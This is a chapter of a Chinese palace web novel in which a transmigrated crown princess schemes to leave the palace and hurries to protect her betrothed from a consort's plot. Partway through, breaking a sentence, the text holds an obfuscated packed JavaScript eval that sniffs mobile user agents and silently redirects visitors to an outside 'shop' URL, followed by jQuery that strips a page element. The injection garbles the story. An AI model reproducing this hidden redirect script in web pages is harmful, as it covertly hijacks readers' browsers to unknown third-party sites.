“殿下,是不是该去演武台了?”
阳照棠眯起眼睛,看着与自己相离甚远的春雪,嘴角撇了下去。
“不去。”
连束淮下意识要讨好他,忽然又想起自己的身份,胳膊僵了一下,“殿下要出尔反尔?”
“谁说的。”
一炷香后,厅堂的桌椅香炉都被移开,唯有一个小小的身影在厚重的毛毯上肆意游走。
连束淮端着架子站在墙边,看得眼窝发烫,手脚微痒,心道自己这步棋走的高明。
这功夫他不就学到了。
太子还对他俯首帖耳。
“看清楚了吗?”
阳照棠演练完,说话时气息微喘,几次深呼吸后才缓了过来。
胳膊和腿这么短就算了,身体还这么弱。
连束淮点头:“我可以教给兄长吗?”
阳照棠躺在罗汉床上,“你开心就好。”
连束淮偷学她也不会知道,连春雪会问她,说明在意她。
连春雪一招一式记得很快,阳照棠看她认真练习的模样,神色恍惚了一下。
她刚到现代,是孤儿又没有记忆,送进学校什么也不懂,死气沉沉不招人喜欢,被欺负的一身伤。
连春雪占了她的身体后,找上那些人,挨个揍了一遍,机缘巧合被武馆招揽,明面打着拜师的幌子,背地与老板分钱。
从此校园多了一个校霸。
她扮作春雪,与混混为伍,吃穿不愁,浑浑噩噩一段时间后,春雪说要有个家。
同学说,要有家先有房子。
武馆名声大噪,来踢馆的人很多,奖金自然也多。
她咬牙练,连春雪教给老师的,统统被她学了去,度过最艰难的一年,往后更没人惹她。
她挨个踢馆,奖金和高考奖学金,看好的房子首付够了,可惜,她当时只有十六岁。
“后面还有吗?”
阳照棠回过神来,擦掉手心的汗,凤眸情不自禁眯起,还有七个月,要做最坏的打算,她还是想去江南躺平。
要想舒服的躺平,还是要置办房产。
首先要出宫。
阳照棠当晚就去了太和殿。
皇帝身着圆领黄袍,还在奋笔疾书批阅奏折,暖黄色的烛火照在他脸上,眉间的皱纹异常明显。
她一踏进内室,塑料爹便放下朱砂笔,笑道:“来送礼物?”
阳照棠双手藏在身后,假装惊讶道:“父皇怎么知道?”
他勾了勾手,阳照棠站到案前,将随手钩的灰太狼放在桌上。
赵赫长臂一伸,将玩偶捏在手心掂量一番,疑惑问道:“怎么还带疤?”
朕亏了!
“他是英勇善战的狼,这是英雄的勋章。”
赵赫眼神微变,看了又看,一手别在玉带上,“不错,大小合适。”
是很合适,大尾巴狼。
阳照棠收回视线,拍马屁道:“父皇喜欢,我再给您多做几个?”
赵赫无语,“又想做什么?”
上道。
“我想出宫玩。”
玩玩玩,这一个月太傅来报,他的课业进度只完成了一点,与向来爱玩的老六不遑多让。
赵赫头都要大了,他在这日夜批奏折,为守大齐江山殚精竭血,结果唯一的继承人心底只有玩。
打不得还骂不得。
“赵彦被五皇叔禁足了,今日来找我求情。”
他刚看过线报,昌王一家被棠儿灵机一动整得鸡飞狗跳。
赵赫扬起嘴角,“他说什么?”
“说要给恩人道歉。”
“我要看着他。”
说到底还是要出宫,赵赫神色一凛,太子他还小,“你母后同意,朕便允你。”
阳照棠小脸立刻耷拉下来。
赵赫叹了口气,母子俩僵持下去不是办法,已经被有心之人盯上了,外面出现许多难听的传言。
“父皇不想我出宫就直说,孩儿虽然变笨了,但话还是听得懂的!”
“怎么会。”
“母后定然要我背书,我怎么可能背的下来!”
赵赫眉头轻挑,心想:你试都不愿意试?还不是偷懒。
“是你母后想你了!”
“父皇别替母后解释了,母后从未来看过我,除了催我早起,我不去。”
“父皇不想出去玩吗?”
“儿臣看着书房,奏折天天堆成山,比那雨后的春笋冒的还快,不累吗?”
“病了还要喝药,多受罪。”
赵赫咂了咂嘴,“道理说得挺好,但你逃学就是不对。”
阳照棠眨了眨眼:“连束淮说及时享乐。”
“他说的不对吗?”
赵赫缄默,是时候多安排几个伴读了,连束淮可以不动,但要挑些勤奋好学的。
-
连束淮回到了将军府。
“春雪呢?”
“书房。”
连束淮推开书房门,正中央挂着一柄宝剑,上方匾额忠君报国擦得锃亮。
“妹妹,我演练给你看。”
春雪翻书的手怔了下,眼神有一瞬的黯然,“我还有两幅刺绣未完成。”
母亲又给她找了几个师傅,她分身乏术,以后,她和兄长的差距会越来越大。
连束淮的笑容一下子消失在脸上,他走到绣架旁,一脚踹倒,“不喜欢,学着作甚。”
连春雪微微摇头,“兄长不要孩子气了。”
“我是太子妃,这些是我应该学的,若做不到,日后会被人笑我连家教女无方。”
连束淮顿了一下,大步一跨,拍了拍她的肩膀,说道:“今日我扮做你,你知道太子说什么吗?”
连春雪登时皱眉,眼底多了一层厌恶,“提他作甚。”
连束淮晃了晃她,“太子说你学的女戒什么的都是糟粕,他并不想你学。”
连春雪嘴巴微张,旋即又垂下眼眸,兄长定是哄她。
“我已经认了。”
这怎么行,连束淮急得原地踱步,然后扫开桌上的东西,轻轻一跃,就着暗沉沉的月色,将丢脸的事和盘托出。
“我这一个月千求万求,他都没答应。”
“可他误以为我是你,今日我一开口,他一点没犹豫,直接答应了,可把我气个半死。”
连春雪肩膀微颤,连束淮见她笑了,才松了口气,“所以,他想教的是你。”
“他还想让你跟太傅学,才与我打赌,今日我没听课,太傅打我板子,他也没拦。”
没有发现他身份,却并不阻拦。
一般来说,讨人欢心,最惯用的招数莫过于英雄救美,什么烽火戏诸侯之类的,断不会让心上人挨打。
“或许太子并不是好色。”
连春雪眸光微润,心情却好了许多,有心情打趣道:“哥,你才练了一日,就被收买了?”
“我还能骗你,你明日亲自问问。”
“喜不喜欢,要相处才知道。”
-
天色阴沉下来,阳照棠拖着沉重的步伐来到福玉宫,石宫灯烛火微动,照在影壁上,海棠树影婆娑,似乎在欢迎她。
她装模作样,死活不来。
塑料爹为了她娘,下了大本钱,不管她撒娇也好,哭闹也罢,只要皇后同意,她便能得到一块畅行无阻的令牌。
计划比她预想的还要顺利。
搞笑,撒娇是不可能的,威胁就够了!
“我要出宫,父皇说需要得到你的盖章。”
阳照棠拿出小册子,这本来是她为赵彦准备的,没想到自己先用上了。
司徒容:“出去做什么?”
“玩!”
司徒容眉头一皱,“不行!”
阳照棠扫了她身后一眼,“当着外人的面,确定要我说?”
司徒容咬牙,屏退众人。
“你到底要做什么?”
“出去玩,天天待在宫里,闷都闷死了,母后想我怎么让位?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278996|198333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>司徒容:“你容我考虑下。”
阳照棠放下册子,“等母后好消息。”
翌日,阳照棠早早地前来请安,贵妃娘娘正从殿里出来,见到她微微一笑。
不知怎地,阳照棠忽然背后一凉。
请安过后,司徒容坐在罗汉床上,神情肃穆,她从方桌下翻出册子,又命人送来玉章。
阳照棠安静等待。
一炷香过去,章迟迟没有落下。
“母后这是何意?”
“本宫掌管后宫,不容许任何人败坏宫闱风气,如今让人逮到错处,不罚难以服众。”
威胁我?
“母后意思是?”
“你可知昨日的连束淮是假的?”
连将军是季相的女婿,却被陛下绑上了她的船。贵妃明面上不敢忤逆陛下,暗地里早想拆了他们,包括伴读。
而赵棠终究是女子,所以,日后笼络将军最好的办法是赵棠嫁给连束淮,可中间有个六公主挡道。
司徒容语气多了一丝沉重,同时又有几分不解,连春雪一向知书达理,怎么会做出如此荒唐的事。
“若真抓到人,本宫不得不罚。”
连春雪若真受鞭刑,必会伤了身子,难有子嗣,东宫与连家就此生了嫌隙,日后会很麻烦。
“是你报恩的时候了。”
若赵棠能救下她,两人关系便还有的救。
阳照棠定下心神凝视着她,司徒容面色不改,不像胡说。
她的心顿时沉了下去,几步来到桌前,手快成一道缩影。
“你做什么?”
阳照棠一手挡住,随后一把将凤印盖在册子上,“不是要报恩?”
司徒容眼波流转,还是松开了手。
她合上册子,急忙朝外赶去。
殊不知,她离开不久,便有人跑去水清宫。
“娘娘,太子殿下去了。”
季明越扬起志在必得的笑,“迎儿去贤松殿果然是极好。”
可惜这个侄女,注定是牺牲品。
谁让她是太子妃,还多管闲事救了太子。
太子终究会死,不如自己送她一程,无子也比守寡强。
“人都打点好了?”
“是。”
丫鬟躬身,悄悄看了眼床边,六公主尚在睡梦中,不知醒来会作何感想。
“六公主会不会伤心?”
“她怕春雪。”
季贵妃弯下腰,在赵迎耳边低声道:“迎儿,再赖床可就落太子后面了。”
-
轿帘卷着东风,红色的宫墙时不时映入眼帘,太监佝着背,脚步飞快,急促的喘息声处处可闻。
阳照棠撩起窗帘,伴读进宫的路只有一条,春雪的身影还未出现,莫非出了什么岔子,还是有人故意改道?
想到此,阳照棠更加坐立难安,急声催促道:“再快些,本宫有赏黄金十两。”
寒风呼啸而过,阳照棠抿紧双唇,后背无端生出了一层冷汗。
咣的一声。
猝不及防的刹车,阳照棠一个没防备,后背狠狠地撞在轿子上,肩胛骨在隐隐发疼,估计青了。
“殿下,是六公主。”
又是老六。
阳照棠铁青着脸,握紧窗沿,“给我撞过去。”
以往她懒得与她一般见识,不曾想这家伙越发蹬鼻子上脸。
太监像以往一样,准备避到一侧,听到这话,身形突然踉跄了一下。
“这……”
“怎么?本宫的话不管用?”
赵迎掀开帘子,脑袋探了出来,杏眼圆睁:“你敢!”
“撞!”
两顶轿子相撞,另一顶轿子传来一声尖叫。
赵迎摸了摸额头,看到指尖的血丝,顿时哇的一声哭出来,“给我拦住轿子!”
六公主的娇蛮谁都知道,不听便要挨打,太子是软性子,于是太监铆足了劲,她去哪,赵迎便跟到哪里。
两顶轿子撞了一路。